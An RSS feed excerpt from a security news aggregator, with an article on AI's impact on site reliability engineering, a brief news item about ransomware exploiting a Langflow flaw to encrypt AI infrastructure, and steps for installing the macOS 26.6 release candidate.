<description><![CDATA[Site reliability engineers (SREs) have the tough assignment of resolving thorny performance and reliability issues. But their primary mission is to provide devops teams with operational insights and to suggest implementation improvements on business system performance, security, and overall robus...]]></description>
<link>https://tsecurity.de/de/3683121/ai-nachrichten/how-ai-impacts-site-reliability-engineering/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683121/ai-nachrichten/how-ai-impacts-site-reliability-engineering/</guid>
<pubDate>Tue, 21 Jul 2026 11:05:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Site reliability engineers (SREs) have the tough assignment of resolving thorny performance and reliability issues. But their primary mission is to provide devops teams with operational insights and to suggest implementation improvements on business system performance, security, and overall robustness.</p>



<p class="wp-block-paragraph">Google introduced its <a href="https://sre.google/sre-book/part-I-introduction/">SRE playbook</a> in 2003, but it took some time for the role’s definition, tools, and techniques to become mainstream. Startups were the first to adopt observability for cloud-native applications and create dedicated SRE positions. As tools matured and SRE responsibilities became more clearly defined, larger enterprises assigned SREs to work as a bridge between devops and IT ops teams to improve resilience across a wider range of applications, APIs, and <a href="https://www.infoworld.com/article/3487711/the-definitive-guide-to-data-pipelines.html">data pipelines</a>.</p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/3689881/career-paths-for-devops-engineers-and-sres.html">SRE is a career path</a> for multidisciplinary engineers with strong investigative instincts, sharp data analytics skills, and the temperament to perform under pressure. It has become a critical responsibility as tech became mission-critical for enterprises, and it is <a href="https://drive.starcio.com/2025/02/emerging-genai-roles-hr-tech-security/">a growing role in the genAI era</a> as more businesses <a href="https://drive.starcio.com/2025/10/ai-agents-definitive-guide-saas-security-titans/">deploy AI agents</a>.</p>



<p class="wp-block-paragraph">But the critical need for resiliency and greater technological complexity brings new challenges for SREs. According to the <a href="https://neubird.ai/resources/state-of-production-reliability-and-ai-adoption/">2026 State of Production Reliability and AI Adoption report</a>, 44% of respondents experienced an outage linked to ignored or suppressed alerts in the past year, and 35% report their engineers occasionally ignore or dismiss alerts due to alert fatigue. More than 70% of alerts received are not actionable, according to 57% of organizations.</p>



<p class="wp-block-paragraph">So, is AI making the SRE’s role easier and helping businesses run more reliable technology operations? On the other hand, AI is also driving complexity, as companies deploy genAI tools and AI agents across more business functions and seek to automate more decision-making across operations.</p>



<h2 class="wp-block-heading">AIops and agentic ops aid SREs</h2>



<p class="wp-block-paragraph">Over the past decade, SRE responsibilities have become somewhat easier through improvements in <a href="https://www.infoworld.com/article/2263821/5-devops-practices-to-improve-application-reliability.html">monitoring platforms</a>, <a href="https://www.infoworld.com/article/3686056/best-practices-for-devops-observability.html">observability practices</a>, <a href="https://www.infoworld.com/article/2261769/what-is-the-ai-in-aiops.html">tools for centralizing operational data</a>, and <a href="https://drive.starcio.com/2022/01/aiops-cio/">AI applied in IT operations</a> (AIops). But during the heat of resolving an outage or performance issue, it’s not easy to correctly identify what system triggered the issue versus other downstream systems impacted by it.</p>



<p class="wp-block-paragraph">According to the <a href="https://komodor.com/resources/komodor-2025-enterprise-kubernetes-report/">Komodore 2025 Enterprise Kubernetes Report</a>, 79% of production incidents originate from recent system changes, including deployments and changes to compute environments. But the other 21% of incidents stem from issues outside of the business’s control, including network failures, third-party changes, and cloud provider failures.</p>



<p class="wp-block-paragraph">“SREs using AI capabilities succeed or fail in the moment an incident unfolds, when engineers are deciding what to investigate next,” says Itiel Shwartz, CTO at <a href="https://komodor.com/">Komodor</a>. “If the system streamlines root cause detection, connects signals to recent changes, and explains its reasoning in a way engineers recognize, it earns trust. If it adds uncertainty or demands extra validation, it gets sidelined, regardless of how bespoke the model behind it may be. What’s less obvious is what it takes to make AI for SREs work in production, and how different that reality is from prototypes, demos, or early internal builds.”</p>



<p class="wp-block-paragraph"><a href="https://drive.starcio.com/2022/05/aiops-ml-multicloud/">AIops</a> is not a new capability, especially in using machine learning to correlate logs, metrics, and traces across monitoring and alerting systems. IT service management and SREs have been using AIops to <a href="https://drive.starcio.com/2021/11/p1-incidents-long-resolution-times/">reduce the mean time to resolve incidents</a> and to perform accurate <a href="https://drive.starcio.com/2021/12/kpi-agile-devops-itops/">root cause analysis</a> (RCA) efficiently. <a href="https://www.infoworld.com/article/4100507/5-key-agenticops-practices-to-start-building-now.html">Agentic ops</a> is the next wave of genAI operational capabilities, including tools for monitoring AI agents, managing their access rights, and detecting AI model accuracy drift.</p>



<p class="wp-block-paragraph"> “AI is useful during major incidents because it can pull together a lot of context into a few clear sentences, which is exactly what an SRE needs in the moment,” suggests Shani Shoham, chief revenue officer at <a href="https://openobserve.ai/">OpenObserve</a>. “The complexity of architecture and the different tooling make it easier for AI than for a human, but autonomous resolution is still a way off.”</p>



<h2 class="wp-block-heading">AI’s impact on people and burnout</h2>



<p class="wp-block-paragraph">The business pressure to keep systems up, secure, and performing well is a 24/7 stressful responsibility. According to <a href="https://www.catchpoint.com/learn/sre-report-2025">The SRE Report 2025</a> from Catchpoint, 36% of SREs often or always experience elevated stress during an incident, and 28% said the stress persists even after the incident is resolved. AI capabilities may prove to be a game-changer in helping SREs avoid burnout and reduce stress.</p>



<p class="wp-block-paragraph">“AI can improve RCA by taking in a much larger incident context than any engineer can hold at 3am, reasoning across traces, logs, metrics, deploys, config changes, alerts, ownership, and recent production behavior,” says Noam Levy, founding engineer and field CTO at <a href="https://www.groundcover.com/">Groundcover</a>. “Beyond attempting a full RCA, its immediate value is distilling the signals that actually matter, reconstructing a clear timeline of cause and effect, and helping engineers separate correlation from likely causality. Once a fix is deployed, agents can also verify remediation by comparing pre- and post-fix behavior, but this depends on broad access to rich, correlated production signals and a cost model that does not discourage adoption or experimentation.”</p>



<p class="wp-block-paragraph">Not only are incidents resolved faster and with less stress, but AI can also free up SRE time to focus on proactive work and create a career path for junior developers into SRE roles. Quais Taraki, CTO at <a href="https://www.enterprisedb.com/">EDB Postgres AI</a>, adds, “AI reduces toil by automating repetitive tasks while accelerating incident resolution through copilots that correlate signals across distributed systems, allowing SREs to focus more on resilience strategies like chaos engineering and failure analysis.”</p>



<p class="wp-block-paragraph">AI can have long-lasting operational impacts, especially for organizations looking to deploy more mission-critical technology and AI capabilities. Two longer-term benefits of AI for SREs are reducing the number of bridge calls needed for incident response and the number of engineers required in “<a href="https://drive.starcio.com/2021/04/it-digital-operations-aiops/">war rooms</a>” to coordinate root cause analyses.</p>



<p class="wp-block-paragraph">“When something goes wrong, AI that guides SREs can do the full analysis, get to the root cause, and perform the remediation,” says Spiros Xanthos, founder and CEO of <a href="https://resolve.ai/">Resolve AI</a>. “AI also helps avoid many escalations, and when escalations are needed, it targets the right people from the network, infrastructure, and the application teams. AI for SREs centralizes operational intelligence, exposes tribal knowledge, and can guide more junior developers.” </p>



<h2 class="wp-block-heading">AI agent reliability</h2>



<p class="wp-block-paragraph">While AI capabilities have been a net positive in helping SREs improve system reliability, the growth of <a href="https://www.infoworld.com/article/4032989/a-developers-guide-to-code-generation.html">AI code generators</a>, <a href="https://www.infoworld.com/article/4058076/vibe-coding-and-the-future-of-software-development.html">vibe coding</a>, and <a href="https://www.infoworld.com/article/4166817/vibe-coding-or-spec-driven-development.html">spec-driven development</a> is adding to their workloads. <a href="https://www.braiviq.com/blog/vibe-coding-ai-development-2026-cursor-copilot-claude-code">According to one study</a>, 41% of all global code is now AI-generated, and <a href="https://www.hostinger.com/blog/vibe-coding-statistics">Gartner predicts</a> that 40% of new enterprise production software will be created using vibe coding techniques by 2028.</p>



<p class="wp-block-paragraph">But coding velocity is creating new issues for SREs as AI pull requests have 1.4 times more critical issues and 1.7 times more major issues, <a href="https://www.coderabbit.ai/blog/state-of-ai-vs-human-code-generation-report">according to CodeRabbit</a>. “AI-assisted development has created an unprecedented velocity of code reaching production, expanding surface area, edge cases, and failure rates faster than traditional SRE practices can absorb,” says Vinod Jayaraman, cofounder and CTO at <a href="https://neubird.ai/">NeuBird AI</a>. “The speed of shipping has far outpaced the speed of understanding what breaks in production. To close this loop, SREs need enterprise agents that can capture precise diagnostic context, including correlated traces, service dependencies, and anomaly timelines, and structure it as actionable input for the engineers and AI coding tools responsible for the fix.”</p>



<p class="wp-block-paragraph">The growing number of AI agents deployed to production creates new challenges. AI agents are not just code; they have multiple failure points. They are built using language models, connect to proprietary sources for context, and integrate with <a href="https://www.infoworld.com/article/4124612/5-requirements-for-using-mcp-servers-to-connect-ai-agents.html">Model Context Protocol servers</a> to support more complex workflows. Changes are ongoing and not deployment events, so the SRE’s job of identifying the source of performance and accuracy drifts isn’t trivial. </p>



<p class="wp-block-paragraph">“Traditional SRE was built for systems that fail in reproducible ways, but agents fail differently and drift when a model provider pushes an update, and behavior shifts silently with no baseline for comparison,” says Mohammed Aboul-Magd, vice president of product at <a href="https://www.sandboxaq.com/">SandboxAQ</a>. “Most organizations can’t even answer the basics: how many agents are running, what they have access to, and whether they’re still doing what they were built to do.”</p>



<p class="wp-block-paragraph">“Every time a senior engineer leaves, they take years of learned failure patterns with them, and the next outage starts from square one,” adds Ronak Desai, cofounder and CEO at <a href="https://ciroos.ai/">Ciroos</a>. “Using AI for compounding operational memory changes that, and every incident your system resolves, the AI learns it.”</p>



<p class="wp-block-paragraph">SREs should take a leadership role in emerging best practices, including defining their standards for AI agent <a href="https://www.infoworld.com/article/4061123/how-to-write-nonfunctional-requirements-for-ai-agents.html">non-functional acceptance criteria</a>, <a href="https://www.infoworld.com/article/4140832/7-safeguards-for-observable-ai-agents.html">observability practices</a>, and <a href="https://www.infoworld.com/article/4105884/10-essential-release-criteria-for-launching-ai-agents.html">release-readiness criteria</a>. SREs should update their <a href="https://www.infoworld.com/article/3684268/tools-to-manage-slos-and-error-budgets.html">service-level objectives</a> (SLOs) and define error budgets for AI agents in production.</p>



<p class="wp-block-paragraph">Ryan Downing, vice president and CIO of enterprise business solutions at <a href="https://www.principal.com/">Principal Financial Group</a>, says, “Standard SLOs and error budgets give teams the guardrails, and AI helps interpret the telemetry against those targets, reducing noise so engineers can get to the real issue faster and automate parts of remediation before customers are impacted.”</p>



<h2 class="wp-block-heading">AI raises the SRE’s business impact</h2>



<p class="wp-block-paragraph">The more dramatic shift in site reliability engineering is an evolution of its business scope. IT leaders focus on uptime, performance, and issue resolution, as well as understanding their impacts. Business leaders will look to IT and SREs to identify, determine root cause, and remediate a broader class of issues, including <a href="https://drive.starcio.com/2025/07/rogue-ai-agents-cios-govern-agentic-ecosystem/">rogue AI agents</a> and the impacts of <a href="https://www.infoworld.com/article/4040513/how-to-avoid-the-risks-of-rapidly-deploying-ai-agents.html">rapidly deploying new agentic capabilities</a>. </p>



<p class="wp-block-paragraph">“AI agents are handing SREs categories of problems they’ve never had to solve before, specifically failures defined in business terms, not technical ones,” says Blake Sherwood, distinguished technologist for AI and platform strategy at <a href="https://www.smarsh.com/">Smarsh</a>. “Traditional reliability engineering is built around latency, errors, and crashes, but agents now fail due to skipped compliance steps or outcomes that looked fine technically but were wrong contextually. Most SRE teams aren’t wired for that yet.”</p>



<p class="wp-block-paragraph">The question is whether SREs with AI-augmented tools can keep up with the velocity, complexity, and business urgency of deploying new AI business capabilities.</p>
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<title><![CDATA[Agentic Hacker Exploits Langflow RCE to Encrypt AI and Machine-Learning Infrastructure]]></title>
<description><![CDATA[JADEPUFFER, an agentic ransomware operation, has evolved from database extortion into a targeted campaign against AI and machine-learning infrastructure. The operator exploited the Langflow remote code execution flaw tracked as CVE-2025-3248 and deployed a purpose-built ransomware tool called ENC...]]></description>
<link>https://tsecurity.de/de/3683037/it-security-nachrichten/agentic-hacker-exploits-langflow-rce-to-encrypt-ai-and-machine-learning-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683037/it-security-nachrichten/agentic-hacker-exploits-langflow-rce-to-encrypt-ai-and-machine-learning-infrastructure/</guid>
<pubDate>Tue, 21 Jul 2026 10:38:18 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>JADEPUFFER, an agentic ransomware operation, has evolved from database extortion into a targeted campaign against AI and machine-learning infrastructure. The operator exploited the Langflow remote code execution flaw tracked as CVE-2025-3248 and deployed a purpose-built ransomware tool called ENCFORGE to encrypt model checkpoints, vector databases, training data, and AI deployment artifacts. CVE-2025-3248 is a missing-authentication […]</p>
<p>The post <a href="https://cyberpress.org/agentic-hacker-encrypts-ai-infrastructure/">Agentic Hacker Exploits Langflow RCE to Encrypt AI and Machine-Learning Infrastructure</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[macOS 26.6 RC Is Now Available: Here’s How to Update Your Mac]]></title>
<description><![CDATA[Apple has released the macOS Tahoe 26.6 Release Candidate for developers and public beta testers. This version arrives after five beta builds and carries build number 25G70. It is expected to closely match the update Apple will release publicly, provided testers do not discover any serious proble...]]></description>
<link>https://tsecurity.de/de/3682935/ios-mac-os/macos-266-rc-is-now-available-heres-how-to-update-your-mac/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682935/ios-mac-os/macos-266-rc-is-now-available-heres-how-to-update-your-mac/</guid>
<pubDate>Tue, 21 Jul 2026 09:39:47 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has released the macOS Tahoe 26.6 Release Candidate for developers and public beta testers. This version arrives after five beta builds and carries build number 25G70. It is expected to closely match the update Apple will release publicly, provided testers do not discover any serious problems.



The macOS 26.6 RC mainly focuses on fixing bugs, improving stability, and preparing compatible Macs for future software updates. Apple has not announced any major user-facing features for this release.



Before installing the update, back up important files using Time Machine or another backup service. Release Candidate software is nearly finished, but unexpected bugs can still affect apps, battery life, or system performance.



How to Install macOS 26.6 RC



Follow these steps to download the update:




Open System Settings on your Mac.



Select General from the sidebar.



Click Software Update.



Click the information button next to Beta Updates.



Choose macOS Tahoe Developer Beta or the available public beta option.



Click Done.



Wait for macOS 26.6 RC to appear.



Click Update Now and follow the onscreen instructions.




Keep your Mac connected to power during the installation. Your Mac will restart, and the process can take several minutes depending on the model and internet speed. Software Update only displays versions compatible with your Mac.



All Changes in macOS 26.6 RC



Apple has not provided a detailed list of major new features for macOS 26.6 RC. The update currently includes the following improvements:




Bug fixes and stability improvements: The update addresses problems reported during the five previous beta versions and improves overall system reliability.



Improved app identification: Apple fixed an issue that incorrectly identified some applications as Intel-only apps, which could cause unnecessary deprecation notices to appear.



Better preparation for future updates: The release may include background system changes that prepare compatible Macs for the next major macOS version.



Developer-related fixes: Apple has marked previously reported ecosystem and HealthKit issues as resolved during the macOS 26.6 testing cycle.




Since this is a Release Candidate, Apple may release another RC build if testers discover an important issue. Otherwise, the same build could become available to all compatible Mac users soon.



If you have already installed macOS 26.6 RC, let us know about its performance, battery life, and any problems you noticed in the comments.]]></content:encoded>
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